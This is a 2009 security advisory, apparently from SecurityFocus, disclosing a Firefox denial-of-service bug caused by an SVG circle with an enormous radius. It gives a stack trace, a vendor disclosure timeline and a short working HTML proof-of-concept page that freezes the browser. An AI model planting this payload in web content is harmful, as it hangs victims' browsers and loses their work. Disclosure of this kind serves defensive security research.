[TZO-26-2009] Firefox (all?) Denial of Service through unclamped loop (SVG) May 26 2009 12:20PM
Thierry Zoller (Thierry Zoller lu)
________________________________________________________________________

From the low-hanging-fruit-department
Firefox et al. Denial of Service - All versions supporting SVG
________________________________________________________________________

CHEAP Plug :
************************************************************************

You are invited to participate in HACK.LU 2009, a small but concentrated
luxemburgish security conference. More information : http://www.hack.lu
CFP is open, sponsorship is still possible and warmly welcomed!
************************************************************************

Release mode: Forced release.
Ref : [TZO-26-2009] - Firefox DoS (unclamped loop) SVG
WWW : http://blog.zoller.lu/2009/04/advisory-firefox-dos-condition.html
Vendor : http://www.firefox.com
Status : No patch
CVE : none provided
Credit : none
Bugzilla entry: https://bugzilla.mozilla.org/show_bug.cgi?id=465615

Security notification reaction rating : There wasn't any reaction. OSS Security notification FTW
Notification to patch window : x+n

Disclosure Policy : http://blog.zoller.lu/2008/09/notification-and-disclosure-policy.html

Affected products :
- Firefox all supporting SVG (didn't care to investigate which, task of the vendor)
- all software packages using mozilla engine and allowing SVG

I. Background
~~~~~~~~~~~~~
Firefox is a popular internet browser.

II. Description
~~~~~~~~~~~~~~~
This bug is a typical result of what we call unclamped loop. An "attacker"
will give the Radius value of the Circle attribute a very big value. That
is leetness.

Stack trace :
ntkrnlpa.exe+0x6e9ab
ntkrnlpa.exe!MmIsDriverVerifying+0xbb0
hal.dll+0x2ef2
xul.dll!NS_InvokeByIndex_P+0x30c36
xul.dll!NS_InvokeByIndex_P+0x30e8a
xul.dll!NS_InvokeByIndex_P+0x30e02
xul.dll!NS_InvokeByIndex_P+0x30f5e
xul.dll!XRE_InitEmbedding+0x7858
xul.dll!XRE_InitEmbedding+0xf4ee
xul.dll!XRE_TermEmbedding+0x11411
xul.dll!gfxTextRun::Draw+0xdd4d
xul.dll!gfxTextRun::Draw+0xe1ca
xul.dll!gfxWindowsPlatform::PrefChangedCallback+0x1495
xul.dll!gfxTextRun::SetSpaceGlyph+0x2678
xul.dll!gfxFont::NotifyLineBreaksChanged+0xf1d3
xul.dll!gfxWindowsPlatform::RunLoader+0xa9f6
xul.dll!NS_StringCopy_P+0x9942
xul.dll!gfxImageSurface::gfxImageSurface+0x3188
xul.dll!gfxImageSurface::gfxImageSurface+0x2ed8

Also produces exceptions in MOZCRT19...
MOZCRT19!modf+0x2570:
600715e0 660f122550450960 movlpd xmm4,qword ptr [MOZCRT19!exception::`vftable'+0x1a3d8 (60094550)] ds:0023:60094550=3fe62e42fefa39ef

III. Impact
~~~~~~~~~~~
Browser doesn't respond any longer to any user input, all tabs are no
longer accessible, your work if any (hail to the web 2.0) might be lost.

IV. Proof of concept (hold your breath)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
<html xmlns='http://www.w3.org/1999/xhtml'>
<head>
</head>
<body>
<svg xmlns='http://www.w3.org/2000/svg'><circle cx='10' cy='10' r='1.79769313486231E+308' fill='red' /></svg>
</body></html>

IV. Disclosure timeline
~~~~~~~~~~~~~~~~~~~~~~~~~
DD/MM/YYYY
18/11/2008 : Created bugzilla entry (security) with proof of concept,
description the terms under which ooperate and the planned disclosure date.

24/22/2008 : Daniel Veditz comments : "Might be a cairo bug rather than SVG
(seems to be looping in libthebes), but I can definitely confirm
the DoS.

14/12/2008 : Ask for any action plan and my assessement of considering it low risk

No reply.

28/12/2008 : "Timeless" comments [..] personally, i intend to open this bug
to the public [..] a bug like this is more likely to be fixed
by being visible to more people than by leaving it in a closet.

26/05/2009 : In 2009 I agree; release of this advisory.

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus